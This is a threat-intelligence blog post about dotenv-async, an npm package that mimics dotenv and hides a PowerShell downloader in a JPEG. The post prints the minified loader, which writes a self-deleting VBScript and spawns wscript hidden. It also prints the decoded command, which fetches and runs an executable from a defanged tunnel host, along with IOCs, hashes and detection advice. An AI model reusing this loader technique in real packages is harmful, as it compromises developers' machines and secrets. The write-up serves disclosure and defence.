Back to all posts
Critical Malware

dotenv-async:
a new npm dotenv lookalike that hides PowerShell in a JPEG

dotenv-async@1.0.0 is a new, previously unreported package in an ongoing campaign of dotenv lookalikes on npm. Importing it on Windows pulls a PowerShell command out of a bundled image and silently downloads and runs an executable.

CyberXYZ Security Team Threat Intelligence
8 min read
If dotenv-async is in your lockfile, act now

dotenv-async@1.0.0 runs its payload the moment it is loaded with require(). There is no install script to block. Any Windows machine that ran code importing it should be treated as compromised: isolate it, look for the files below, and rotate every secret it could reach. The package you almost certainly wanted is the real dotenv.

Summary

What happened

On September 30, 2026 at 15:19:41 UTC, a new npm account, ajbsdiansd, published a single version of a package called dotenv-async. Its description promises "a fast, validated, zero-dependency environment configuration toolkit for Node.js", and the package is dressed to look like dotenv: the package.json copies dotenv-style scripts (build, lint, dts-check, tap test runs, prepack, release:check), and the tarball ships a full README, CHANGELOG and SECURITY.md. The environment-parsing code works. It is also a Windows dropper.

The loader is not new. The package's dist/index.cjs and dist/cli.cjs are byte-identical (same SHA-256) to files recorded as evidence in the public OSV reports for six earlier packages, and its bundled CLI still carries an inlined manifest naming an older package, node-env-buffer. What is new is the name, the account, and the image that carries the payload. So this is a new, previously unreported variant in an ongoing campaign, not the discovery of the campaign itself. Earlier members were reported by other researchers and are listed below.

The package never asks to run anything at install time. Importing it is enough.

Timeline

How the loader works

Everything below comes from static analysis of the published tarball. We did not execute the package.

1
Import triggers it

main points at dist/index.cjs. At module load it calls a function named dispatchAnalytics(). The dot2env CLI in dist/cli.cjs makes the same call. No preinstall or postinstall hook is involved, so --ignore-scripts does not help.

2
The payload comes out of a JPEG

It reads the bundled dist/stest.jpg, walks the JPEG markers until it reaches an APP13 (0xFFED) segment, and returns that segment as text: a base64 string that decodes to a UTF-16LE PowerShell command.

3
Strings are assembled at runtime

powershell.exe, wscript.exe and the -NoProfile -NonInteractive -EncodedCommand switches never appear whole in the source. They are split into arrays and joined at runtime, which defeats simple string scanners.

4
A self-deleting VBScript is dropped

It writes relay_<timestamp><random>.vbs to the OS temp directory. The script deletes its own file, then runs the PowerShell command with the window hidden.

5
wscript.exe launches it, detached

Node spawns wscript.exe with detached: true, windowsHide: true and stdio: "ignore", then calls unref(), so the chain outlives the Node process and nothing appears on screen.

6
A second stage is downloaded and run

PowerShell downloads hello.exe from a trycloudflare.com quick-tunnel host into %LOCALAPPDATA%\Temp and starts it hidden. The effect is Windows-only.

The loader, lightly reformatted from the minified bundle (variable names are the minifier's):

dist/index.cjs (excerpt, reformatted, from the published tarball)const X = path.join(__dirname, "stest.jpg"); // walks JPEG markers; on marker 0xED (APP13) returns the segment as text if (t === 237) { return e.slice(o, c).toString("utf-8") } function dispatchAnalytics() { let n = Y(fs.readFileSync(X)); let t = ["power", "shell", ".exe"].join(""); let r = [["-No","Profile"], ["-Non","Interactive"], ["-Encoded","Command"]] .map(u => u.join("")).join(" ").split(" "); let l = [ 'CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName', `CreateObject("WScript.Shell").Run "${[t, ...r, n.trim()].join(" ")}", 0, False` ].join("\r\n"); let s = path.join(os.tmpdir(), ["relay_", Date.now(), Math.random().toString(36).slice(2), ".vbs"].join("")); fs.writeFileSync(s, l); spawn(["wscript", ".exe"].join(""), [s], { stdio: "ignore", detached: true, windowsHide: true }).unref(); } dispatchAnalytics(); // called at module load

Decoding the APP13 segment of dist/stest.jpg (base64, then UTF-16LE) gives the full PowerShell command. The URL is defanged here:

decoded -EncodedCommand payload from dist/stest.jpg (URL defanged)$path = "$env:LOCALAPPDATA\Temp\hello.exe"; Invoke-WebRequest -Uri "hxxps://hardwood-studio-obviously-briefing[.]trycloudflare[.]com/download/winhost" -OutFile $path; Start-Process -FilePath $path -WindowStyle Hidden -PassThru | Out-Null; Write-Host 'ii'

Two details are worth calling out. First, the function is named dispatchAnalytics, so a reviewer skimming the bundle sees what looks like telemetry. Second, the loader has no operating-system check. It writes the .vbs file before trying to launch wscript.exe, so a stray relay_*.vbs file may also appear in the temp directory on macOS or Linux, where it does nothing.

What we did not analyse

We did not retrieve or analyse the second stage, hello.exe, so we cannot say what it does. The tarball also ships dist/enterprise.js, an obfuscated file that decrypts a string and evaluates it with new Function. None of the package's entry points reference it, and we have not decoded it. Its hash is in the IOC table.

Why install-time scanners miss this

Many supply-chain checks focus on lifecycle scripts. This package has none that run anything malicious; the payload fires when application code imports it. The command itself is not in any JavaScript file. It sits base64-encoded inside an image segment, and the executable names are assembled from fragments, so grepping the source for powershell or a URL finds nothing.

Part of an ongoing campaign

The same loader appears in seven earlier npm packages, all with dotenv-style names or descriptions, published between September 21 and September 30, 2026. Six of their OSV reports record SHA-256 hashes for dist/index.cjs and dist/cli.cjs that match dotenv-async exactly; the seventh, node-env-buffer, is the name still embedded in the bundled CLI. Public coverage of the family already exists, including OffSeq Threat Radar's entry for better-dotenv3. dotenv-async is the eighth, and was not in any public database when we wrote this.

PackageAdvisoryOSV published
better-envforgeMAL-2026-16324Sep 21, 2026
node-env-bufferMAL-2026-16403Sep 22, 2026 (removed by npm)
better-dotenv3MAL-2026-17172Sep 25, 2026
dotenv-nativeMAL-2026-17231Sep 28, 2026
native-envMAL-2026-17237Sep 28, 2026
testosu888MAL-2026-17298Sep 29, 2026
stestenvMAL-2026-17309Sep 30, 2026
dotenv-asyncNot yet publicPublished to npm Sep 30, 2026, 15:19 UTC

Indicators of compromise

URLs and domains are defanged. Hashes were computed from the tarball served by the npm registry, whose SHA-1 matches the registry's published shasum.

TypeIndicatorContext
Packagedotenv-async@1.0.0Only version, published 2026-09-30 15:19:41 UTC
npm accountajbsdiansdPublisher; email on the anogz.com domain
URLhxxps://hardwood-studio-obviously-briefing[.]trycloudflare[.]com/download/winhostSecond-stage download
Domainhardwood-studio-obviously-briefing[.]trycloudflare[.]comCloudflare quick-tunnel host
File%LOCALAPPDATA%\Temp\hello.exeDownloaded second stage, run hidden (not analysed)
File%TEMP%\relay_*.vbsSelf-deleting VBScript launcher
Filedist/stest.jpgPayload carrier (APP13 segment)
SHA-2565c3a8ef4878b68318b116c3e9935ca581fbac3a0b30566383a144f65accb9b34dotenv-async-1.0.0.tgz
SHA-25697fa0d7666e80c68a3cd4f3326dc31bd9203619d6bbae7449efe62de15c4e815dist/index.cjs (identical in six sibling packages)
SHA-25607c071af6889b09f011fd445921a4d2629d52fbf423dabc0a28f81b2cb6af057dist/stest.jpg
SHA-2568556eeca50285aea12dfdcbc4ebcee110d916ef81ddde2e338dcf78bda2028cfdist/cli.cjs (identical in six sibling packages)
SHA-256c603a9d04709f277ae7057150019db50d4d9721b87bad0da46013b92fe8e4723dist/enterprise.js (obfuscated, not analysed)
How to check

Lockfiles: search package-lock.json, yarn.lock, pnpm-lock.yaml and bun.lock for dotenv-async, better-envforge, node-env-buffer, better-dotenv3, dotenv-native, native-env, testosu888 and stestenv.

Windows hosts that loaded it: look for hello.exe in %LOCALAPPDATA%\Temp and relay_*.vbs in %TEMP%; outbound DNS or HTTPS to *.trycloudflare.com; and process trees where node.exe spawns wscript.exe, which spawns powershell.exe -NoProfile -NonInteractive -EncodedCommand. The VBScript deletes itself, so its absence proves nothing; process and network telemetry are more reliable.

Detection notes

How CyberXYZ caught it

We are building a detection for slopsquatting: packages registered under names that sound like something a developer, or an AI coding assistant, might plausibly reach for, such as an async flavour of a popular library. Part of that detection is a content probe that inspects the code of newly published packages with plausible-sounding names. During the probe's first test run, it flagged dotenv-async. A CyberXYZ analyst then confirmed the finding by static analysis, and the package was added to our block list at 18:16 UTC, about three hours after it was published.

From that point, the CyberXYZ proxy, CLI and VS Code extension return decision: block for dotenv-async. No CyberXYZ customer or monitored machine ever requested the package. The probe is new and still being tuned; this finding came from its first run, confirmed by a person, and we are not claiming more than that.

Supply-chain risk analysis

Mapped to MITRE ATT&CK:

Initial AccessT1195.002Compromise Software Supply Chain
ExecutionT1204.005User Execution: Malicious Library
ExecutionT1059.005Visual Basic (wscript .vbs)
ExecutionT1059.001PowerShell -EncodedCommand
Defense EvasionT1027.003Steganography (JPEG APP13)
Defense EvasionT1036Masquerading as dotenv
Defense EvasionT1564.003Hidden Window
Defense EvasionT1070.004File Deletion (self-deleting .vbs)
Command and ControlT1105Ingress Tool Transfer (hello.exe)

Recommended actions

Immediate. Remove dotenv-async and any of the sibling packages from your dependencies and lockfiles, and replace them with the real dotenv. On any Windows machine or runner that loaded one of them, isolate the host, hunt for the IOCs above, and rotate every secret it could reach: .env values, cloud credentials, registry and Git tokens, SSH keys.

Short-term. Remember that --ignore-scripts does not stop this class of package; the payload runs on import. Review new dependencies with unfamiliar names before they are merged, especially lookalikes of popular libraries and names suggested by AI coding assistants.

Long-term. Put a check in front of the package manager so that known-malicious and newly published suspicious packages are stopped before they reach a developer laptop or CI runner, rather than discovered afterwards in a lockfile.


References

  1. OSV, MAL-2026-17309: Malicious code in stestenv (npm)
  2. OSV, MAL-2026-17172: Malicious code in better-dotenv3 (npm)
  3. OffSeq Threat Radar, Malicious code in better-dotenv3 (npm)
  4. MITRE ATT&CK, T1027.003 Obfuscated Files or Information: Steganography
  5. MITRE ATT&CK, T1195.002 Compromise Software Supply Chain
👋

Let's Talk

Want to learn how CyberXYZ protects your supply chain? We'd love to hear from you.